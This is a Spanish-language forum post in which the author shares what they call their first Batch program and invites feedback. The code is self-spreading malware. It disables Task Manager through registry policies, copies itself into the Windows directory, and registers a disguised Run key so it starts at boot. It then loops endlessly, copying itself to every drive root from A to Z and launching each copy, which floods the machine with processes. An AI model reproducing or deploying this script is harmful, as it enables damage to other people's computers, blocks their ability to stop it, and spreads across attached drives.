Entiendo, y muchas gracias por tus respuestas y toda la ayuda que me has ofrecido tanto tu como los demás compañeros del foro para poder realizar el programa en cuestión, el cual quisiera aprovechar para compartir con vosotros ya que estamos, aunque también acepto cualquier tipo de critica (tanto positiva como negativa) dado que es el primer código que he hecho en Batch y demás cosas, y, bueno, espero que os pueda ser de utilidad dado el caso.
Entonces, y, aunque he hecho varios códigos del programa, quisiera pasaros el ultimo que he hecho y que "creo" que puede dar mas problemas dado el caso;
Muchas gracias por vuestra atención.
Saludos.
Entonces, y, aunque he hecho varios códigos del programa, quisiera pasaros el ultimo que he hecho y que "creo" que puede dar mas problemas dado el caso;
Código (DOS) [Seleccionar]
reg add "hklm\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /T "REG_DWORD" /D "1" /f >nul
reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /T "REG_DWORD" /D "1" /f >nul
SET varb=abreme
SET varc=.bat
vart=%varb%%varc%
vary=%WINDIR%
varz=%vary%%vart%
if exist %varz% goto copias
copy /Y %0 "%WINDIR%\" >NUL 2>&1
Reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /V "*WindowsMachineSubProcess" /D "%WINDIR%\%~n0.bat" /F >NUL 2>&1
:copias
SET varb=%varb%1
SET var=A:\
SET vard=%var%%varb%%varc%
if not exist %var% goto :Bdir
if not exist %vard% copy %0 %vard%
if exist %vard% start %vard%
:Bdir
SET var=B:\
SET vard=%var%%varb%%varc%
if not exist %var% goto :Cdir
if not exist %vard% copy %0 %vard%
if exist %vard% start %vard%
:Cdir
SET var=C:\
SET vard=%var%%varb%%varc%
if not exist %var% goto :Ddir
if not exist %vard% copy %0 %vard%
if exist %vard% start %vard%
:Ddir
SET var=D:\
SET vard=%var%%varb%%varc%
if not exist %var% goto :Edir
if not exist %vard% copy %0 %vard%
if exist %vard% start %vard%
:Edir
SET var=E:\
SET vard=%var%%varb%%varc%
if not exist %var% goto :Fdir
if not exist %vard% copy %0 %vard%
if exist %vard% start %vard%
:Fdir
SET var=F:\
SET vard=%var%%varb%%varc%
if not exist %var% goto :Gdir
if not exist %vard% copy %0 %vard%
if exist %vard% start %vard%
:Gdir
SET var=G:\
SET vard=%var%%varb%%varc%
if not exist %var% goto :Hdir
if not exist %vard% copy %0 %vard%
if exist %vard% start %vard%
:Hdir
SET var=H:\
SET vard=%var%%varb%%varc%
if not exist %var% goto :Idir
if not exist %vard% copy %0 %vard%
if exist %vard% start %vard%
:Idir
SET var=I:\
SET vard=%var%%varb%%varc%
if not exist %var% goto :Jdir
if not exist %vard% copy %0 %vard%
if exist %vard% start %vard%
:Jdir
SET var=J:\
SET vard=%var%%varb%%varc%
if not exist %var% goto :Kdir
if not exist %vard% copy %0 %vard%
if exist %vard% start %vard%
:Kdir
SET var=K:\
SET vard=%var%%varb%%varc%
if not exist %var% goto :Ldir
if not exist %vard% copy %0 %vard%
if exist %vard% start %vard%
:Ldir
SET var=L:\
SET vard=%var%%varb%%varc%
if not exist %var% goto :Mdir
if not exist %vard% copy %0 %vard%
if exist %vard% start %vard%
:Mdir
SET var=M:\
SET vard=%var%%varb%%varc%
if not exist %var% goto :Ndir
if not exist %vard% copy %0 %vard%
if exist %vard% start %vard%
:Ndir
SET var=N:\
SET vard=%var%%varb%%varc%
if not exist %var% goto :Odir
if not exist %vard% copy %0 %vard%
if exist %vard% start %vard%
:Odir
SET var=O:\
SET vard=%var%%varb%%varc%
if not exist %var% goto :Pdir
if not exist %vard% copy %0 %vard%
if exist %vard% start %vard%
:Pdir
SET var=P:\
SET vard=%var%%varb%%varc%
if not exist %var% goto :Qdir
if not exist %vard% copy %0 %vard%
if exist %vard% start %vard%
:Qdir
SET var=Q:\
SET vard=%var%%varb%%varc%
if not exist %var% goto :Rdir
if not exist %vard% copy %0 %vard%
if exist %vard% start %vard%
:Rdir
SET var=R:\
SET vard=%var%%varb%%varc%
if not exist %var% goto :Sdir
if not exist %vard% copy %0 %vard%
if exist %vard% start %vard%
:Sdir
SET var=S:\
SET vard=%var%%varb%%varc%
if not exist %var% goto :Tdir
if not exist %vard% copy %0 %vard%
if exist %vard% start %vard%
:Tdir
SET var=T:\
SET vard=%var%%varb%%varc%
if not exist %var% goto :Udir
if not exist %vard% copy %0 %vard%
if exist %vard% start %vard%
:Udir
SET var=U:\
SET vard=%var%%varb%%varc%
if not exist %var% goto :Wdir
if not exist %vard% copy %0 %vard%
if exist %vard% start %vard%
:Wdir
SET var=W:\
SET vard=%var%%varb%%varc%
if not exist %var% goto :Xdir
if not exist %vard% copy %0 %vard%
if exist %vard% start %vard%
:Xdir
SET var=X:\
SET vard=%var%%varb%%varc%
if not exist %var% goto :Ydir
if not exist %vard% copy %0 %vard%
if exist %vard% start %vard%
:Ydir
SET var=Y:\
SET vard=%var%%varb%%varc%
if not exist %var% goto :Zdir
if not exist %vard% copy %0 %vard%
if exist %vard% start %vard%
:Zdir
SET var=Z:\
SET vard=%var%%varb%%varc%
if not exist %var% goto :ZZdir
if not exist %vard% copy %0 %vard%
if exist %vard% start %vard%
:ZZdir
goto copias
pause
exit
Muchas gracias por vuestra atención.
Saludos.